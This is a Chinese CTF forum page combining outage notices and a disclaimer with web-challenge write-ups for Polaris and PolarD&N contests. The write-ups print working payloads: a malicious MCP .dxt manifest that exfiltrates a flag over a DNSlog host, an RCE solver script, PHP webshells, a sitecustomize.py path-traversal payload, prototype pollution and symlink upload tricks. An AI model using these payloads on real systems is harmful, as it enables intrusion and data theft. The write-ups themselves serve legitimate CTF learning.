经核查,靶场数据已全部丢失,无法找回。在此,我对服务器的所有用户表示抱歉,我们将经快完成修复工作,尽量在四月初恢复靶场的运作。
-
致歉(2026.3.31)发布在 通知
尊敬的赛博潇湘用户:
您好!
我们怀着深深的歉意向您告知,由于运维人员的操作失误,今日(2026年3月31日)17时01分,服务器CTF靶场关键文件被意外删除,导致CTF靶场暂时无法正常使用。目前技术团队已启动紧急抢修,但恢复时间仍存在不确定性,我们对此给您带来的不便致以最诚挚的歉意!
一、事故说明
经核查,本次故障系运维人员在执行日常维护任务时,因操作疏忽误删了CTF靶场部分核心文件。我们已第一时间暂停相关运维操作,并启动数据恢复流程。由于文件恢复涉及复杂的技术排查与数据校验,目前暂无法预估完全恢复的时间。
二、紧急处理措施
1. 全力恢复数据:我们正在全力尝试从备份系统及其他冗余存储中恢复被删除文件,同时排查是否存在其他潜在风险。
2. 问题溯源与整改:我们将对事故原因进行深入复盘,杜绝类似事件再次发生。
3. 实时同步进展:我们将通过官网公告、论坛等渠道,及时更新抢修进度与恢复时间,请您保持关注。
我们深知此次事故对您的体验造成了严重影响,赛博潇湘始终将用户数据安全与体验放在首位。我们承诺将以最快速度完成抢修,并全力避免类似问题重现。若您在故障期间有任何疑问或需求,可通过以下方式联系我们:
● 论坛“问题反馈”专区
再次为此次事故深表歉意!感谢您的包容与支持,我们定当以更严谨的态度与更稳定的服务回馈您的信任!
赛博潇湘管理团队
2026年3月31日 -
第一届 Polaris CTF 招新赛 WP(部分)发布在 Web
做完后的感觉,烦死了
only real
dirsearch扫描发现flag.php文件

得到flag

only_real_revenge

查看源码后得到账号密码,登录后bp抓包

发现jwt_token,暴力破解并构造新的admin的jwt


修改后放行,成功解锁上传文件
发现此处会对php eval flag等关键字过滤且前端验证文件类型采用<?=cat /f*?>和抓包改名的方式绕过
访问上传的php文件,即可得到flag

注意:此处要将token改为修改后的DXT
此题为mcp服务器上传.dxt文件进行rce
查阅资料制作文件
manifest.json
内容如下
{
"dxt_version": "0.1",
"name": "oob-exploit",
"version": "1.0.0",
"description": "OOB Exploit",
"author": {
"name": "Hacker",
"email": "hacker@example.com"
},
"server": {
"type": "stdio",
"entry_point": "/bin/sh",
"mcp_config": {
"command": "/bin/sh",
"args": [
"-c",
"此处输入要执行的命令"
]
}
}
}
将他zip压缩,因为.dxt文件的本质为zip,直接将后缀改成.dxt
由于此处执行命令不会回显,于是用DNSlog回显的方法得到flag
执行命令ping $(cat /flag).mcd2fp.dnslog.cn
即可得到flag

Broken Trust

注册并登录
登录后发现一个查找器

猜测的此处可以进行sql注入
注入后发现admin的uid


登录后通过遍历目录拿到flag
api/admin?action=backup&file=..//flag

ez_python
这个python代码在 / 路由通过 merge 函数将 POST 的 JSON 递归合并到全局 instance 对象。利用此漏洞,发送 {"config": {"filename": "/flag"}} 即可将 instance.config.filename 改为 /flag,随后访问 /read 便读取并返回 flag。

醉里挑灯看剑
/api/caps/sync 在插入用户提供的操作记录后,会自动追加一条 source 为 "server-tail" 的尾记录。由于记录按 source 字典序排序后插入,用户只需设置 source 比 "server-tail" 大的字符串(如 "z1"),就能让尾记录先被插入,而用户记录后插入成为最新记录。该记录的 role 和 lane 若被设为 null(通过 keepRole: false 和 keepLane: false),在查询时会被 COALESCE 默认值 'maintainer' 和 'release' 覆盖,从而获得高权限。获得高权限后,即可调用 /api/release/execute 执行表达式。黑名单通过小写字符串匹配过滤关键字,但可利用 Unicode 转义(如 \u0063onstructor)绕过检测。通过 tools.sha1.constructor 获取 Function 构造函数,进而执行任意代码,读取环境变量 RUNNER_KEY。此密钥用于生成 release 证明,结合之前获取的 challenge nonce 即可计算出有效 proof,最终在 /api/release/claim 中提交并拿到 flag。
import requests
import hashlibclass CTFChallengeSolver:
def init(self, base_url):
self.base_url = base_url.rstrip("/")
self.session = requests.Session()
self.headers = {}
self.token = ""
self.sid = ""
self.runner_key = ""
self.nonce = ""def _request(self, method, endpoint, **kwargs): url = f"{self.base_url}{endpoint}" kwargs.setdefault('headers', {}).update(self.headers) try: response = self.session.request(method, url, **kwargs) response.raise_for_status() return response.json() except requests.exceptions.RequestException as e: print(f"请求失败 [{method} {endpoint}]: {e}") if 'response' in locals() and response.status_code == 401: print("检查 Token 是否过期或无效") exit(1) def get_guest_token(self): data = self._request('POST', '/api/auth/guest') self.token = data.get("token") self.sid = data.get("claims", {}).get("sid") if not self.token or not self.sid: print("无法从响应中提取 Token 或 SID") exit(1) self.headers["Authorization"] = f"Bearer {self.token}" print(f"Token: {self.token}") print(f"SID: {self.sid}") def sync_capabilities(self): payload = { "ops": [ {"source": "z1", "note": "a", "keepRole": False, "keepLane": False}, {"source": "z2", "note": "a", "keepRole": False, "keepLane": False} ] } result = self._request('POST', '/api/caps/sync', json=payload) print(f"Sync response: {result}") def get_runner_key(self): payload = { "expression": "ctx.tools.sha1['\\u0063onstructor']('return \\u0070rocess.env.RUNNER_KEY')()", "input": {} } data = self._request('POST', '/api/release/execute', json=payload) self.runner_key = data.get("result") if not self.runner_key: print("无法获取 RUNNER_KEY") exit(1) print(f"RUNNER_KEY: {self.runner_key}") def get_challenge_nonce(self): data = self._request('POST', '/api/release/challenge') self.nonce = data.get("nonce") if not self.nonce: print("无法获取 Nonce") exit(1) print(f"Nonce: {self.nonce}") def claim_flag(self): proof_str = f"{self.sid}:{self.nonce}:{self.runner_key}" proof = hashlib.sha1(proof_str.encode()).hexdigest() payload = { "nonce": self.nonce, "proof": proof } result = self._request('POST', '/api/release/claim', json=payload) flag = result.get("flag", "未找到 Flag 字段") print(f"Flag: {flag}") def run(self): self.get_guest_token() self.sync_capabilities() self.get_runner_key() self.get_challenge_nonce() self.claim_flag()if name == "main":
BASE_URL = "http://80-9c2b8646-841e-4439-b861-358f760b18e0.challenge.ctfplus.cn/"
solver = CTFChallengeSolver(BASE_URL)
solver.run()
AutoPypy
Web 服务允许上传 Python 脚本并在沙箱中运行,但上传时未过滤文件名,可利用路径穿越将恶意脚本写入宿主机的 Python 库目录。利用 Python 自动加载 sitecustomize.py 的特性,当服务器执行任何脚本时,恶意代码会在沙箱启动前以宿主机权限运行,从而读取 flag。
恶意代码:
import os
for path in ['/flag', '/home/ctf/flag', 'flag']:
if os.path.exists(path):
with open(path) as f:
print(f.read())
上传后保存/usr/local/lib/python3.10/site-packages/sitecustomize.py
在此执行命令即可

Not a Node
边缘运行时的底层 C++ 绑定将文件读写接口暴露在 __runtime._internal.lib.symbols 中,但函数名被混淆(如 _0x72656164 对应 read)。常规字符串路径会被运行时自动添加工作目录前缀并补全 Null 字节,导致 ../flag 失效。通过 TextEncoder 将路径转为 Uint8Array 字节流直接调用底层函数,绕过了 JS 层的路径预处理,使回溯生效。同时,十六进制编码属性名规避了 WAF 对 globalThis 等关键词的拦截,最终成功读取根目录下的 Flag。
恶意代码为:
export default {
async fetch(req) {
// 获取运行时内部工具(使用十六进制混淆绕过检测)
const R = __runtime;
const tools = R["\x5f\x69\x6e\x74\x65\x72\x6e\x61\x6c"]["\x6c\x69\x62"]["\x73\x79\x6d\x62\x6f\x6c\x73"];
const READ = "\x5f\x30\x78\x37\x32\x36\x35\x36\x31\x36\x34"; // "_0x72656164" 的十六进制表示// 定义动态文件读取函数(避免直接使用敏感词) const getF = (p) => { try { // 将路径转换为 Uint8Array 绕过路径检查 const bytes = new TextEncoder().encode(p); return tools[READ](bytes); } catch (e) { return e.message; } }; // 读取 flag 文件(使用相对路径绕过目录限制) const flag = getF("\x2e\x2e\x2f\x66\x6c\x61\x67"); // "../flag" 的十六进制表示 return new Response(flag);}
};

ezpollute
通过/api/config接口的merge函数存在原型污染漏洞,攻击者可利用constructor.prototype向Object.prototype注入NODE_OPTIONS="-r /flag"。访问/api/status时,子进程启动会继承污染后的环境变量,从而加载/flag模块并输出 flag,最终在响应中获取。此攻击结合了原型污染与 Node.js 环境变量注入,实现了远程代码执行。
恶意脚本
{
"constructor": {
"prototype": {
"NODE_OPTIONS": "-r /flag"
}
}
}

-
月底闲谈(第一期)——你认为AI会取代CTFer吗发布在 日常讨论区
各位师傅们,月底了,咱们来聊点轻松的(或者说,有点扎心的?)。
最近AI的发展势头大家有目共睹,从自动生成代码到辅助漏洞挖掘,工具越来越“聪明”。那么,一个灵魂拷问来了:
你认为AI会取代CTFer吗?
是成为我们手中的“神兵利器”,还是未来赛场上真正的“对手”?
欢迎各位畅所欲言,分享你的观点和脑洞! -
服务器更新日志(2026.3-a-1)发布在 通知
亲爱的赛博潇湘用户:
为了给您提供更稳定、更丰富的服务体验,我们已于2026年3月31日12:30完成服务器全系统升级维护。本次更新涵盖网站主页、论坛、CTF靶场及Wiki模块的功能优化与问题修复,具体更新内容如下:
1.完善网站网页显示,增加403页面
2.对网站已有漏洞进行修复
温馨提示
更新后建议清除浏览器缓存,以获得最佳浏览体验。
CTF靶场题目数据已完整备份,用户刷题进度不受影响。
若更新后遇到任何问题,欢迎通过论坛“意见反馈”板块或客服邮箱联系我们。
感谢您一直以来对赛博潇湘的支持与理解!我们将持续迭代优化,为您提供更优质的服务。
赛博潇湘管理团队
2026年3月31日 -
服务器停服维护通知(2026.3.20-a)发布在 通知
尊敬的用户:
您好!
为了提升服务质量与系统稳定性,保障用户的良好体验,赛博潇湘服务器将进行计划性停服维护。在此期间,网站部分功能将暂时无法访问,敬请各位用户提前做好相关安排。具体维护信息如下:
一、维护时间
2026年3月30日(星期一)12:35起
(预计维护时长:2小时,具体恢复时间以实际维护进度为准)
二、维护范围
1. 网站主页
2. 论坛
3. CTF靶场
4. Wiki
三、注意事项
1. 维护期间,上述功能模块将无法正常访问或使用,请您提前保存重要数据,避免因停服造成不便。
2. 维护完成后,服务器将恢复正常运行,建议您刷新页面或清除浏览器缓存后重新登录。
3. 若维护提前完成或延迟结束,我们将第一时间通过官方渠道发布公告。
四、感谢与联系
感谢各位用户对赛博潇湘的支持与理解!
给您带来的不便,我们深表歉意,敬请谅解!期待维护完成后,为您带来更优质、更稳定的服务体验。
赛博潇湘管理团队
2026年3月30日 -
PolarD&N CTF2026春季赛web方向WP(全)发布在 Web
3-1 sql_search
直接用sqlmap爆出所有的表
sqlmap -u http:///?search=1 --tables --drop-set-cookie

猜测是在flagggggggg表中
sqlmap -u http:///?search=1 -T flaggggggggggg --dump --drop-set-cookie

3-2 The_Gift
这道题是PHP变量覆盖漏洞。代码中foreach循环使用key=key等价于 $ config['isAdmin']='true',把原对象覆盖为数组。最终判断条件满足,输出Flag。访问/?config[isAdmin]=true即可获取。

3-3 并发上传
此题发现一个上传文件的地方,结合题目名字,利用条件竞争
使用<?php phpinfo(); fputs(fopen('1.php','w'),'<?php phpinfo(); eval($_REQUEST[1]);?>');?>,执行后可以写入一个1.php文件,从而有一句话木马。

利用bp不断上传,不断访问,如下图显示上传成功。

蚁剑连接后即可

建议参考:https://blog.lololowe.com/posts/434b/3-4 杰尼龟系统
用cat打开即可

3-5 Signed_Too_Weak
登录后发现网址中key为jwt.token
http://01c83b31-3254-4f77-96fc-a84dd7ec2081.www.polarctf.com:8090/index.php?key=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJpYXQiOjE3NzQyNjkxMTksImV4cCI6MTc3NDI3MjcxOX0.ieerVYPbYDUowpGaQNEkg82lbUxL-ijimTAVz10xDgM
破解密钥为polar


3-6 Pandora_Box

根据这个可知我们访问文件会在后面强制加上.php
于是想到伪协议zip://上传压缩包解压文件上传木马
将一句话木马压缩进压缩包,后缀改为.png
因为zip://的特性仍可以解压
上传后用/?file=zip://upload/3ef4b7eae3892ed4a42fc6f02c78a4f8.png%23shell连接蚁剑即可

3-7 static
由题可知:路径必须以static/开头。
禁止危险协议(php://等)和编码(%2f等)。
关键字(eval、system、../等)会被替换为空。
我可以发现:
过滤不彻底:hard_filter对../和关键字(如eval)的处理是替换为空,而非直接拒绝,导致可以构造特殊路径绕过。
路径拼接逻辑:file被拼接.php后,realpath解析可能突破static/限制。
构造 Payload:
?file=static/eval../flag

3-8 云中来信
由题目可知,此题为SSRF
我们这题是@绕过
一个完整的 URL 结构其实是这样的:协议://用户名:密码@主机名:端口/路径
根据题目名可知此为https://cloud.tencent.com/developer/article/2437306
操作如下:



3-9 狗黑子最后的起舞
dirsearch扫描发现如下

注册后的登录

登录后发现一个新目录

用dirsearch扫描得到

联想到.git泄漏(具体参考此文章git泄漏)
用githcak后发现

上传一个文件到etc文件夹下,然后对文件进行解压
思路如下:
我们需要想办法使得主目录中访问/etc中的文件,故使用软链接的方式实现因为没有上传页面,就要自己写一个

上传文件,此处参考(赛博潇湘-gouhezi起舞) (PS:当然不是因为作者懒才引用别人的wp,嘿捏捏)
第一个文件
1.```bash
创建软链接,让 ghz 指向网站根目录```bash ln -s /var/www/html ghz带上 --symlinks 参数打包,这步极其关键! zip --symlinks 1.zip ghz第二个文件
# 1. 删除刚才建的软链接,因为接下来我们要建一个真实的同名文件夹 rm -rf ghz # 2. 创建真实文件夹,名字必须和软链接一模一样 mkdir ghz # 3. 在文件夹里写入 PHP 一句话木马(密码为 cmd) echo '<?php @eval($_POST["cmd"]); ?>' > ghz/shell.php # 4. 正常递归打包文件夹 zip -r 2.zip ghz/上传即可
上传成功返回如下

然后连接蚁剑即可

3-10 coke的粉丝团
注册后在52页有10级粉丝牌
购买任意商品,抓包

修改后购买
点击flag
发现要admin

抓包,破解jwt即可


3-11 GET
我们访问robot.txt
If it won't open, maybe try including each other and see.
提示我们可以用双写文件后缀名绕过,上传php
因为由内容检查,我们考虑用ascll码拼接变形,进行直接命令执行<?php $func = chr(115).chr(121).chr(115).chr(116).chr(101).chr(109); $cmd = ''; $cmd_chars = [108,115]; foreach($cmd_chars as $ascii) { $cmd .= chr($ascii); } @$func($cmd); ?>
修改此处执行命令后来我们在主目录发现可疑文件

用cat读取在源码中发现flag

3-12 新年贺卡
分析源码可知这是任意文件写入+模板注入导致RCE

直接写入用户提交的内容
具体操作入下:
1.访问以下URL获取模板添加表单:
http:///?action=admin&debug=/%20*/_form
2.使用curl提交恶意PHP代码:
curl -X POST "http:///?action=admin&debug=add_template"
-d "template_name=shell"
-d "template_content=<?php system($_GET['cmd']); ?>"
使用此链接执行命令,http:///templates/shell.php?cmd=cat /flag.txt 即可得到flag总结:
此比赛较为基础,考察对基础知识的扎实程度。
通过这次比赛可以看出仍要对php伪协议,变形木马,linux命令做进一步了解。
对此我要吟诗一首:沙场鏖战破迷烟,
比试方知技未全。
靶上玄机深似海,
场归勤垦筑基坚。总而言之:课旷少了(bushi
-
PolarD&N CTF2026春季赛web方向部分题目WP发布在 Web
说真的,我不明白,为什么大家都在谈论着web的靶场打不开,烦死了,嬲
3-1 sql_search
直接用sqlmap爆出所有的表
sqlmap -u http:///?search=1 --tables --drop-set-cookie

猜测是在flagggggggg表中
sqlmap -u http:///?search=1 -T flaggggggggggg --dump --drop-set-cookie

3-2 The_Gift
这道题是PHP变量覆盖漏洞。代码中foreach循环使用key=key等价于 $ config['isAdmin']='true',把原对象覆盖为数组。最终判断条件满足,输出Flag。访问/?config[isAdmin]=true即可获取。

3-3 并发上传
此题发现一个上传文件的地方,结合题目名字,利用条件竞争
使用<?php phpinfo(); fputs(fopen('1.php','w'),'<?php phpinfo(); eval($_REQUEST[1]);?>');?>,执行后可以写入一个1.php文件,从而有一句话木马。

利用bp不断上传,不断访问,如下图显示上传成功。

蚁剑连接后即可

3-12 新年贺卡
分析源码可知这是任意文件写入+模板注入导致RCE

直接写入用户提交的内容
具体操作入下:
1.访问以下URL获取模板添加表单:
http:///?action=admin&debug=/%20*/_form
2.使用curl提交恶意PHP代码:
curl -X POST "http:///?action=admin&debug=add_template"
-d "template_name=shell"
-d "template_content=<?php system($_GET['cmd']); ?>"
使用此链接执行命令,http:///templates/shell.php?cmd=cat /flag.txt 即可得到flag -
赛博潇湘CTF论坛免责声明发布在 社区守则及帮助
欢迎访问赛博潇湘CTF论坛(以下简称“本论坛”)。本论坛是一个由网络安全爱好者自发组织的非盈利性技术交流平台,旨在促进网络安全技术的学习、分享与进步。在使用本论坛前,请仔细阅读以下免责声明。您继续使用本论坛,即视为您已充分理解并同意接受本免责声明全部条款的约束。
一、平台性质与信息真实性
非官方观点:本论坛所有内容(包括但不限于文章、帖子、评论、代码、工具等)均由用户自行发布,仅代表用户个人观点,不代表本论坛立场。本论坛不对任何用户发布信息的准确性、完整性、可靠性、合法性或有效性作任何明示或暗示的担保或承诺。技术交流目的:本论坛提供的所有技术资料、讨论内容及实验环境(如CTF靶场)仅限于合法的学习、研究和技术交流目的。用户不得将本论坛的任何信息用于非法用途或违反用户守则的行为。
二、用户行为责任
完全责任自负:用户应对其在本论坛的一切行为(包括但不限于发布内容、私信沟通、参与比赛、进行技术测试等)独立承担全部法律责任。用户必须确保其行为符合中华人民共和国法律法规、本论坛用户守则以及社会公序良俗。合法合规义务:用户在使用本论坛服务时,不得进行任何违法或违规活动,包括但不限于攻击论坛主站、传播恶意软件、侵犯他人隐私、进行非法交易、泄露国家秘密等。若用户违反上述义务,本论坛有权在不事先通知的情况下采取删除内容、封禁账号等措施,并保留配合司法机关调查的权利。
三、免责条款
违规行为免责:对于任何用户违反本论坛用户守则或国家法律法规的行为,以及因此类行为导致的任何直接或间接损失(包括但不限于数据丢失、系统瘫痪、名誉损害、法律诉讼、行政处罚等),本论坛及其管理团队、主办方不承担任何形式的责任。一切后果由违规用户自行承担。技术风险免责:本论坛提供的技术讨论、代码示例、工具下载等可能存在潜在风险(如漏洞利用可能对用户自身系统造成影响)。用户在使用或参考此类信息时,应自行评估风险并采取必要的安全措施。因使用本论坛信息导致的任何技术故障、数据损坏或安全事件,本论坛不承担责任。
第三方链接免责:本论坛中可能包含指向第三方网站的链接。此类链接仅为方便用户提供,不代表本论坛对第三方网站内容的认可或担保。用户访问任何第三方链接所产生的一切风险和责任均由用户自行承担。
不可抗力免责:因不可抗力(包括但不限于自然灾害、战争、骚乱、罢工、政府行为、互联网服务提供商故障、黑客攻击、计算机病毒等)导致本论坛无法正常运行或用户数据丢失、泄露、损坏的,本论坛在法律法规允许的范围内免于承担责任。
用户纠纷免责:用户之间因在本论坛的交流、合作或争议而产生的任何纠纷(包括但不限于言语冲突、知识产权争议、经济纠纷等),应由当事人自行协商解决或通过法律途径处理。本论坛无义务介入此类纠纷,也不承担任何责任。
四、权利保留
管理权利:本论坛管理团队有权根据用户守则和本免责声明,对任何违规内容或行为采取必要措施,包括但不限于删除、屏蔽、禁言、封禁账号等,但本论坛不承担主动监控所有用户行为的义务。修改权利:本论坛保留随时修改、更新本免责声明的权利。修改后的免责声明一经发布,立即生效。用户继续使用本论坛服务即视为接受修改后的条款。
最终解释权:本免责声明的最终解释权归赛博潇湘管理团队所有。
请您自觉遵守法律法规和论坛规则,共同维护安全、友好、纯净的技术交流环境。
赛博潇湘管理团队
2026年3月11日